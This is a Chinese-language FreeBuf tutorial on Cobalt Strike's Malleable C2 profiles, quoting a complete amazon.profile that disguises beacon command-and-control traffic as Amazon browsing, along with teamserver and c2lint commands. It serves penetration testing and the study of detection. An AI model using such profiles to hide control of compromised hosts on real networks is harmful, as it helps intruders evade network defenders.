*本文作者:charm1y,本文属 FreeBuf 原创奖励计划,未经许可禁止转载。
前言
本文主要浅略地分析Cobalt Strike利用Malleable-C2-Profiles来进行伪装流量,实现通信隐匿的效果。
cobalt strike简介
cobalt strike是一款非常优秀的基于java的后渗透测试平台,它使用图形化界面进行操作,相比于Metasploit操作上更为简单高效。同时,它采用C/S架构,服务端为一个,客户端可以为多个,方便团队进行分布式协作。
cobalt strike监听器
cobalt strike提供的listener分为Beacon与Foreign两种。区别在与Beacon为内置使用,即目标主机与server端通信的监听;Foreign为与外部结合的listener,通常与Metasploit结合使用,后文使用的主要为Beacon类型的监听器。Beacon主要支持dns、https、http、smp[pipe]等通信协议。
我们设置好一个server端与目标主机之间监听环境(关于cobalt strike的监听器的设置与具体使用可以Google查询),使用的payload为Windows/beacon_http/reverse_http,开始监听。cobalt strike通过与目标主机建立心跳包的机制来监控目标主机的存活情况,默认为60s,可以通过sleep命令进行修改,当修改为5s一次心跳包的发送,抓包观察具体情况。
抓包可见,目标主机与server端的通信为HTTP协议,由此,当我们对cobalt strike的server端进行隐藏,伪造成一个正常的Web服务器,以此来伪装流量,最终达到通信隐匿的效果。cobalt strike通过提供Malleable-C2-Profiles来实现上述目的。
Malleable-C2-Profiles浅析
Beacon的HTTP的indicators由Malleable-C2-profile文件控制,关于Malleable-C2-profile,它是一个简单的配置文件,用来指定如何转换数据并将其存储在transaction中,转换和存储数据的相同配置文件也从transaction中提取和恢复。
使用方法:./teamserver [external IP] [password] [/path/to/my.profile]
对于profile文件可以通过cobalt strike软件包中的c2lint文件进行检查,建议第一次使用的profile文件都检查一遍。
检查方法:./c2lint [/path/to/my.profile]
以amazon.profile为例,来做简要分析
# Amazon browsing traffic profile
#
# Author: @harmj0y
#
set sleeptime "5000";
set jitter "0";
set maxdns "255";
set useragent "Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko";
http-get {
set uri "/s/ref=nb_sb_noss_1/167-3294888-0262949/field-keywords=books";
client {
header "Accept" "*/*";
header "Host" "www.amazon.com";
metadata {
base64;
prepend "session-token=";
prepend "skin=noskin;";
append "csm-hit=s-24KU11BB82RZSYGJ3BDK|1419899012996";
header "Cookie";
}
}
server {
header "Server" "Server";
header "x-amz-id-1" "THKUYEZKCKPGY5T42PZT";
header "x-amz-id-2" "a21yZ2xrNDNtdGRsa212bGV3YW85amZuZW9ydG5rZmRuZ2tmZGl4aHRvNDVpbgo=";
header "X-Frame-Options" "SAMEORIGIN";
header "Content-Encoding" "gzip";
output {
print;
}
}
}
http-post {
set uri "/N4215/adj/amzn.us.sr.aps";
client {
header "Accept" "*/*";
header "Content-Type" "text/xml";
header "X-Requested-With" "XMLHttpRequest";
header "Host" "www.amazon.com";
parameter "sz" "160x600";
parameter "oe" "oe=ISO-8859-1;";
id {
parameter "sn";
}
parameter "s" "3717";
parameter "dc_ref" "http%3A%2F%2Fwww.amazon.com";
output {
base64;
print;
}
}
server {
header "Server" "Server";
header "x-amz-id-1" "THK9YEZJCKPGY5T42OZT";
header "x-amz-id-2" "a21JZ1xrNDNtdGRsa219bGV3YW85amZuZW9zdG5rZmRuZ2tmZGl4aHRvNDVpbgo=";
header "X-Frame-Options" "SAMEORIGIN";
header "x-ua-compatible" "IE=edge";
output {
print;
}
}
}
文件开头的set语句来设置Beacon的默认值,类型分为全局与本地选项,全局选项更改的是全局Beacon的设置,本地选项更改特定的transaction。全局在文件开头声明, 本地选项在具体的transaction中使用。
在amazon.profile中sleeptime为设置心跳包时间,单位为毫秒;jitter为默认的抖动因子(0-99%);maxdns为通过DNS上传数据时的主机名最大长度(0-255);useragent为设置http通信使用的用户代理。
后文的http-get与http-post都符合以下的通用格式:
protocol-transaction {
set local_option "value";
client {
# customize client indicators
}
server {
# customize server indicators
}
}
protocol-transaction即为使用具体使用http方法,client与server就是对http中的request与response的具体配置,header指定具体的http请求头与相应头信息。
metadata {
base64;
prepend "session-token=";
prepend "skin=noskin;";
append "csm-hit=s-24KU11BB82RZSYGJ3BDK|1419899012996";
header "Cookie";
}
这指定了对metadata进行相应编码,此处为base64编码。Prepend语句在编码后的数据前面添加相应字符串,append语句为在末尾追加字符串。最后存储在cookie字段里面。获取真正的metadata则是对http中相应数据进行逆操作,最终得到所要的metadata。
parameter语句为设置对应的字符串存储在对应的URI参数中,print语句是将data作为transaction的内容进行发送。最后通过:
output {
print;
}
单元进行终止并输出。通过以上具体内容的设置,最终在通信时HTTP流量包得到相应的更改伪造。至于更多profile设置可以参考官方文档 -- https://www.cobaltstrike.com/help-malleable-c2 。
下图为server端默认配置与加载amazon.profile后实现的通信流量的对比。
通过加载相应的profile文件,来改变目标主机与server端的流量特征,以此来隐藏流量,最终达到通信隐匿的目的。
在cobalt strike中,一次只能使用一个profile文件,当profile文件有变动时,基于当前profile文件的listener都会失效,需要重新部署。在编写自定义的profile文件时,需要注意一些字符与URL之间的冲突,有可能导致配置无法生效。修改后的profile文件建议通过c2lint工具进行测试,通过后再进行部署。
总结
cobalt strike作为一款优秀的后渗透工具,通过伪造正常的HTTP流量来进行目标主机的控制,在实际使用中一般偏向于使用HTTPS协议进行通信,更能达到隐藏自身的目的。以上内容算是抛砖引玉了,有感兴趣的同学可以参考以下链接。
参考链接
https://www.freebuf.com/sectool/133369.html
https://www.cobaltstrike.com/help-malleable-c2
*本文作者:charm1y,本文属 FreeBuf 原创奖励计划,未经许可禁止转载。